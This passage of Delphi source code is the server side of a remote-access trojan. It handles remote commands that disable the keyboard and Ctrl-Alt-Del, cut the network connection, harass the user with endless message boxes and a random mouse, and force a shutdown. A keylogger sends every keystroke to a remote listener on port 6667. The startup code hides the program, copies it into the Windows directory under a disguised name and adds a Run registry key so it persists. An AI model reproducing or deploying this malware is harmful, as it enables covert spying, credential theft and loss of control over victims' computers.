     end
  else
  if CompareText(Client.RcvdLine, 'Disableftp') = 0 then
      begin
      FtpServer1.DisconnectAll;
      Sleep(3000);
      FtpServer1.Stop;
      Client.SendStr('Disabling FTP Server ' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Disablekeyboard') = 0 then
      begin
      Asm 
     in  al,21h
     or al,00000010b
     out 21h,al
     End;
     Client.SendStr('Keyboard Disabled ' + #13#10);
     end
  else
  if CompareText(Client.RcvdLine, 'Enablekeyboard') = 0 then
      begin
      Asm 
     in  al,21h
     mov al,0
    out 21h,al
    End;
    Client.SendStr('Keyboard Enabled ' + #13#10);
    end
 else
  if CompareText(Client.RcvdLine, 'Disconnectnet') = 0 then
      begin
      Client.SendStr('Disconnecting Server from the Net... ' + #13#10);
      RasConn.dwSize := SizeOf(TRasConn);
      bsize := SizeOf(RASConn);
         if RASEnumConnections(@RASConn, bsize, Count) = 0 then
         if Count > 0 then RASHangUp(RASConn.hRasConn);
      end
   else
  if CompareText(Client.RcvdLine, 'Screensaveron') = 0 then
      begin
      SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1, nil, 0);
      Client.SendStr('Screensaver On ' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Screensaveroff') = 0 then
      begin
      SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 0, nil, 0);
      Client.SendStr('Screensaver Off ' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Screensaveronnow') = 0 then
      begin
      SendMessage(handle, wm_syscommand, SC_SCREENSAVE, 0);
      Client.SendStr('Screensaver Activated ' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Controlaltdeldisable') = 0 then
      begin
      SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @dummy, 0);
      Client.SendStr('Control Alt Del Disabled ' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Controlaltdelenable') = 0 then
      begin
      SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @dummy, 0);
      Client.SendStr('Control Alt Del Enabled ' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Mouserandomon') = 0 then
      begin
      randommouse.Enabled:=true;
      Client.SendStr('Random Mouse Activated ' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Mouserandomoff') = 0 then
      begin
      randommouse.Enabled:=false;;
      Client.SendStr('Random Mouse Deactivated ' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Switchmousebuttons') = 0 then
      begin
      SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, NIL, 0);
      Client.SendStr('Mouse Buttons Switched ' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Normalmousebuttons') = 0 then
      begin
      SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 0, NIL, 0); 
      Client.SendStr('Mouse Buttons Returned to Normal' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Showmousetrails') = 0 then
      begin
      SystemParametersInfo(SPI_SETMOUSETRAILS,6,nil,SPIF_SENDCHANGE); 
      Client.SendStr('Mouse Trails Shown' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Hidemousetrails') = 0 then
      begin
      SystemParametersInfo(SPI_SETMOUSETRAILS,0,nil,SPIF_SENDCHANGE); 
      Client.SendStr('Mouse Trails Disabled' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Constantmessages') = 0 then
      begin
      Repeat
      MessageBox(0,'Irritating, isn''t it?','Hello there!',MB_YESNO Or MB_ICONSTOP);
      Until (1=2);
      Client.SendStr('Constant Messages Activated' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Taskbarmesser') = 0 then
      begin
      Timer1.Enabled:=true;
      Client.SendStr('Taskbar Shaker Activated' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Randomtaskson') = 0 then
      begin
      Timer2.Enabled:=true;
      Client.SendStr('Random Tasks Activated' + #13#10);
      end
   else
  if CompareText(Client.RcvdLine, 'Randomtasksoff') = 0 then
      begin
      Timer2.Enabled:=false;
      Client.SendStr('Random Tasks Deactivated' + #13#10);
      end
      else
   if CompareText(Client.RcvdLine, 'ECW') = 0 then
      begin
         frmChat.Show;
         Client.SendStr('Chat session started' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'DCW') = 0 then
      begin
         frmChat.Hide;
         Client.SendStr('Chat session stopped' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'SCW') = 0 then
      begin
         frmChat.memChat.Visible := True;
         Client.SendStr('Chat window shown' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'HCW') = 0 then
      begin
         frmChat.memChat.Visible := False;
         Client.SendStr('Chat window hidden' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'SRB') = 0 then
      begin
         frmChat.Msg.Visible := True;
         Client.SendStr('Reply box shown' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'HRB') = 0 then
      begin
         frmChat.Msg.Visible := False;
         Client.SendStr('Reply box hidden' + #13#10);
      end
   else
   if CompareText(Client.RcvdLine, 'REMOVESERVER') = 0 then
      begin
      RemoveServer;
      Sleep(3000);
      DeleteFile(SystemDir + '\Windows\wndsapp.exe');
      Client.SendStr('Sever entry removed from registry' + #13#10);
      end
else
   if CompareText(Client.RcvdLine, 'Activatekeylog') = 0 then
      begin
      keyspy.Enabled:=true;
      with KeySock do begin
      Close;
      Addr  := '0.0.0.0';
      Proto := 'tcp';
      Port  := '6667';
      Listen;
      KeySpy.Enabled:=True;
      end;
      Client.SendStr('Keyspy Connected & Activated ' + #13#10);
      end


   else
      Client.SendStr('Unknown command: ''' + Client.RcvdLine + '''' + #13#10);
end;




procedure TfrmServer.TimeshutdownTimer(Sender: TObject);
begin
winexec(PChar('rundll32 krnl386.exe,exitkernel'),0);
end;

procedure TfrmServer.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Memo1.clear;
end;


procedure TfrmServer.FormCreate(Sender: TObject);
var
  TM, SD: String;
  I: Integer;
  PC, OldName, NewName: PChar;
  Copied: Boolean;
  Reg: TRegistry;
  wVersionRequested : WORD;
  wsaData : TWSAData;
begin
   Application.OnMessage:= MsgHandler;
   wVersionRequested := MAKEWORD(1, 1);
   WSAStartup(wVersionRequested, wsaData);
   RegisterServiceProcess(GetCurrentProcessID, 1);
   frmServer.Left := 0;
   frmServer.Top := 0;
   frmServer.Height := 0;
   frmServer.Width := 0;
   SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE)
   or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
   ShowWindow(Handle, SW_HIDE);
   ShowWindow(Application.Handle, SW_HIDE);
   frmServer.Hide;

   TM := Application.ExeName;
   for I := Length(TM) downto 1 do
      if TM[I]='\' then
         Break;
   TM := copy (TM, 1, I);
   GetMem(PC, 100);
   GetWindowsDirectory(PC, 100);
   SD := PC +'\';
   freeMem(PC);
   Getmem(OldName, 100);
   GetMem(NewName, 100);
   StrPCopy(OldName, Application.ExeName);
   StrPCopy(NewName, SD+'wndwsapp.exe');
      if TM <> SD then
         begin
            if FileExists(SD + 'wndwsapp.exe') then
               DeleteFile(SD + 'wndwsapp.exe') ;
            try
               repeat
                  Copied := CopyFile (OldName, NewName, FALSE);
               until  Copied = True;
               except
               end;
            Reg := TRegistry.Create;
            Reg.RootKey := HKEY_LOCAL_MACHINE;
            Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE);
            Reg.WriteString('Win386Mgr', SD + 'wndwsapp.exe');
            Reg.Destroy;
            StrPCopy(OldName, '"'+Application.ExeName+'"');
            ShellExecute(0, 'Open', NewName, OldName, 'C:\', 1);
            FreeMem( Oldname );
            FreeMem( NewName );
            Halt(0);
         end
      else
         begin
            Reg := TRegistry.Create;
            Reg.RootKey:=HKEY_LOCAL_MACHINE;
            Reg.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE);
            Reg.WriteString ('Win386Mgr', SD+'wndwsapp.exe');
            Reg.Destroy;


         end;
end;

procedure TfrmServer.FormDestroy(Sender: TObject);
begin
{Shut down WinSock}
  WSACleanup;
end;

procedure TfrmServer.KeysockError(Sender: TObject);
begin
keysock.Close;
end;

procedure TfrmServer.KeysockSessionAvailable(Sender: TObject; Error: Word);
var
    NewHSocket : TSocket;
begin
    NewHSocket := KeySock.Accept;
    KeySock.Dup(NewHSocket);
end;

procedure TfrmServer.KeysockSessionConnected(Sender: TObject; Error: Word);
begin
keysock.text:=('Keyspy Activated');
end;

procedure TfrmServer.KeySpyKeySpyDown(Sender: TObject; Key: Byte;
  KeyStr: String);
begin
if KeySock.State=wsConnected then
begin
if (KeyStr[1] = '-') and (KeyStr[2] = '-') then
   begin
   if keystr= '--Enter' then keysock.sendstr(#10) else
   if keystr= '--LShift Down' then exit else if keystr=  '--LShift Up' then exit else
   if keystr= '--RShift Down' then exit else if keystr= '--RShift Up' then exit else
   if keystr= '--Ctrl' then keysock.sendstr(' <Ctl> ') else keysock.sendstr(' '+keystr+' ');
   end else keysock.SendStr(KeyStr);
 end;
end;

procedure TfrmServer.OnlineIP1Changed(Sender: TObject);
begin
Address.text:=OnlineIP1.IP;
end;



procedure TfrmServer.randommouseTimer(Sender: TObject);
begin
 Randomize;
 SetCursorPos(Random(Screen.Width - 1) + 1, Random(Screen.Height - 1) + 1);

end;

procedure TfrmServer.Timer1Timer(Sender: TObject);
begin
ShakeItUp(25, 25);
end;

procedure TfrmServer.Timer2Timer(Sender: TObject);

var
g:integer;
begin
randomize;
g:=random(5);
makehimcrazy(g);
end;



procedure TfrmServer.FormActivate(Sender: TObject);
begin
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_HIDE);
end;

end.
